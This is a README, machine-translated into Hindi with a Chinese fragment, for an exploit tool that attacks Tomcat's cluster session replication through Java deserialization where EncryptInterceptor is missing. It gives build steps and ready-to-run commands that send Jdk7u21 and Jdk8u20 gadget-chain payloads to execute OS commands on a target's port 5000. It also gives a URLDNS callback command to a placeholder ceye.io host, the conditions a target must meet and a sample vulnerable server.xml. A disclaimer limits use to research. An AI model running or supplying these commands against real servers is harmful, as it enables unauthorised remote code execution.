tomcat-cluster-session-sync-exp

उपकरण केवल सुरक्षा अनुसंधान और आंतरिक ऑडिट के लिए है, अवैध हमलों के लिए इसका उपयोग प्रतिबंधित है; परिणामस्वरूप होने वाले परिणाम उपयोगकर्ता की जिम्मेदारी होंगे

tomcat cluster sync-session 利用exp (टॉमकैट क्लस्टर सिंक-सेशन एक्सप्लॉइट)

यह एक डीसीरियलाइज़ेशन भेद्यता है जो टॉमकैट के अंतर्निहित सेशन सिंक्रोनाइज़ेशन फीचर (EncryptInterceptor के बिना असुरक्षित कॉन्फ़िगरेशन) का उपयोग करते समय मौजूद होती है। सावधानीपूर्वक तैयार किए गए डेटा पैकेटों के माध्यम से, टॉमकैट के अंतर्निहित सेशन सिंक्रोनाइज़ेशन फीचर का उपयोग करने वाले सर्वरों पर हमला किया जा सकता है।

उपयोग

पहले jar पैकेज संकलित करें:

mvn clean compile assembly:assembly

जनरेटेड jar पैकेज target डायरेक्टरी में मौजूद होगा

उपयोग, उदाहरण:

java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io"

शर्तें

1. टॉमकैट में सेशन सिंक्रोनाइज़ेशन सक्षम है और EncryptInterceptor कॉन्फ़िगर नहीं किया गया है
2. jdk संस्करण jdk8u20 या jdk7u21 से कम है (सुनिश्चित नहीं है कि कोई त्रुटि है)
3. सिंक्रोनाइज़ेशन एंडपॉइंट तक पहुँचा जा सकता है (आमतौर पर आंतरिक नेटवर्क)

tomcat-सेशन सिंक्रोनाइज़ेशन कॉन्फ़िगरेशन

(conf/server.xml):

<Server>
    ...
    
    <Service>
        ...
        
        <Engine>
            ...
            
            <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
                    channelSendOptions="6">
            
                    <Manager className="org.apache.catalina.ha.session.BackupManager"
                      expireSessionsOnShutdown="false"
                      notifyListenersOnReplication="true"
                      mapSendOptions="6"/>
            
            
                    <Channel className="org.apache.catalina.tribes.group.GroupChannel">
                      <Membership className="org.apache.catalina.tribes.membership.McastService"
                        address="228.0.0.4"
                        port="45564"
                        frequency="500"
                        dropTime="3000"/>
                      <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                        address="123.123.123.123"
                        port="5000"
                        selectorTimeout="100"
                        maxThreads="6"/>
            
                      <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
                        <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
                      </Sender>
                    </Channel>
            
                    <Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
                      filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
            
                    <Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
                      tempDir="/tmp/war-temp/"
                      deployDir="/tmp/war-deploy/"
                      watchDir="/tmp/war-listen/"
                      watchEnabled="false"/>
            
                    <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
            </Cluster>
        </Engine>
  </Service>
</Server>